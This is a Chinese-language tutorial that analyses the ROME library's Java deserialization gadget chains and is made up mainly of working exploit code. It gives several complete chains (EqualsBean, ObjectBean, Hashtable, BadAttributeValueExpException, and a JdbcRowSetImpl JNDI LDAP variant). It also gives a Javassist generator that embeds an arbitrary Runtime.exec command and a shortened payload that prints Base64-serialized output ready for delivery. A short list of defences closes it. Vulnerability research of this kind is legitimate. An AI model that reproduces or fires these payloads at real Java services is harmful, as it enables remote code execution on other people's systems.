Java反序列化之ROME反序列化
字数 611 2025-08-20 18:17:07
Java反序列化之ROME反序列化漏洞分析与利用
1. ROME库概述
ROME是一个用于处理和操作XML格式数据的Java工具库,主要功能包括:
- 将XML数据转换为Java对象
- 将Java对象转换为XML数据
- 提供ToStringBean类,用于对Java Bean进行深入的toString操作
2. 环境依赖
<dependencies>
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
</dependencies>
3. 关键类分析
3.1 ToStringBean类
ToStringBean类是ROME反序列化漏洞的核心,其toString方法会反射调用对象的getter方法:
private String toString(String prefix) {
StringBuffer sb = new StringBuffer(128);
try {
// 获取getter方法
PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
if (pds != null) {
for(int i = 0; i < pds.length; ++i) {
String pName = pds[i].getName();
Method pReadMethod = pds[i].getReadMethod();
if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
// 执行getter方法
Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
this.printProperty(sb, prefix + "." + pName, value);
}
}
}
} ...
}
3.2 利用方式
通过ToStringBean的toString方法可以调用TemplatesImpl的getOutputProperties方法,触发恶意代码执行:
ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
4. 漏洞利用链
4.1 EqualsBean利用链
public class RomeEqualsBean {
public static void main(String[] args) throws Exception {
// 创建恶意TemplatesImpl对象
byte[] code = Files.readAllBytes(Paths.get("Demo.class"));
byte[][] codes = {code};
TemplatesImpl templates = new TemplatesImpl();
setValue(templates,"_name","Ic4F1ame");
setValue(templates, "_tfactory", new TransformerFactoryImpl());
setValue(templates,"_bytecodes",codes);
// 构造ToStringBean
ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
// 使用HashMap触发
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(equalsBean,"123");
// 修改_obj为恶意对象
Field field = toStringBean.getClass().getDeclaredField("_obj");
field.setAccessible(true);
field.set(toStringBean,templates);
}
}
4.2 ObjectBean利用链
public class RomeObjectBean {
public static void main(String[] args) throws Exception {
// 创建恶意TemplatesImpl对象
byte[] code = Files.readAllBytes(Paths.get("Demo.class"));
byte[][] codes = {code};
TemplatesImpl templates = new TemplatesImpl();
setValue(templates,"_name","Ic4F1ame");
setValue(templates, "_tfactory", new TransformerFactoryImpl());
setValue(templates,"_bytecodes",codes);
// 构造ToStringBean
ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));
ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);
// 使用HashMap触发
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(objectBean,"123");
// 修改_obj为恶意对象
Field field = toStringBean.getClass().getDeclaredField("_obj");
field.setAccessible(true);
field.set(toStringBean,templates);
}
}
4.3 HashTable利用链
public class RomeHashTable {
public static void main(String[] args) throws Exception {
// 创建恶意TemplatesImpl对象
byte[] code = Files.readAllBytes(Paths.get("Demo.class"));
byte[][] codes = {code};
TemplatesImpl templates = new TemplatesImpl();
setValue(templates,"_name","Ic4F1ame");
setValue(templates, "_tfactory", new TransformerFactoryImpl());
setValue(templates,"_bytecodes",codes);
// 构造ToStringBean
ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));
ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);
// 使用HashTable触发
Hashtable hashtable = new Hashtable();
hashtable.put(objectBean,"123");
// 修改_obj为恶意对象
Field field = toStringBean.getClass().getDeclaredField("_obj");
field.setAccessible(true);
field.set(toStringBean,templates);
}
}
4.4 BadAttributeValueExpException利用链
public class RomeBdAttribute {
public static void main(String[] args) throws Exception {
// 创建恶意TemplatesImpl对象
byte[] code = Files.readAllBytes(Paths.get("Demo.class"));
byte[][] codes = {code};
TemplatesImpl templates = new TemplatesImpl();
setValue(templates,"_name","Ic4F1ame");
setValue(templates, "_tfactory", new TransformerFactoryImpl());
setValue(templates,"_bytecodes",codes);
// 构造ToStringBean
ToStringBean toStringBean = new ToStringBean(Templates.class,templates);
// 使用BadAttributeValueExpException触发
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class Bv = Class.forName("javax.management.BadAttributeValueExpException");
Field val = Bv.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,toStringBean);
}
}
4.5 JdbcRowSetImpl利用链(出网利用)
public class RomeJdbc {
public static void main(String[] args) throws Exception {
// 创建JdbcRowSetImpl对象
JdbcRowSetImpl jdbcRowset = new JdbcRowSetImpl();
String url = "ldap://127.0.0.1:8085/zARQtFym";
jdbcRowset.setDataSourceName(url);
// 构造ToStringBean
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,new ConstantTransformer(1));
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
// 使用HashMap触发
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(equalsBean,"123");
// 修改_obj为恶意对象
Field field = toStringBean.getClass().getDeclaredField("_obj");
field.setAccessible(true);
field.set(toStringBean,jdbcRowset);
}
}
5. 缩短Payload技术
5.1 使用Javassist生成恶意类
public class GetShellCode {
public static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("A");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = CtNewConstructor.make(
"public A(){Runtime.getRuntime().exec(\"" + cmd + "\");}",
ctClass
);
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
}
5.2 优化后的利用链
public class RomeEqualsShorter {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();
setValue(templatesimpl,"_name","a");
setValue(templatesimpl,"_bytecodes",new byte[][] {genPayload("calc")});
ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(equalsBean, "1");
// 序列化输出
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashMap);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(barr.toByteArray())));
}
public static byte[] genPayload(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
clazz.addConstructor(constructor);
return clazz.toBytecode();
}
}
6. 防御措施
- 升级ROME库到最新版本
- 对反序列化操作进行白名单控制
- 使用安全管理器限制危险操作
- 对输入数据进行严格校验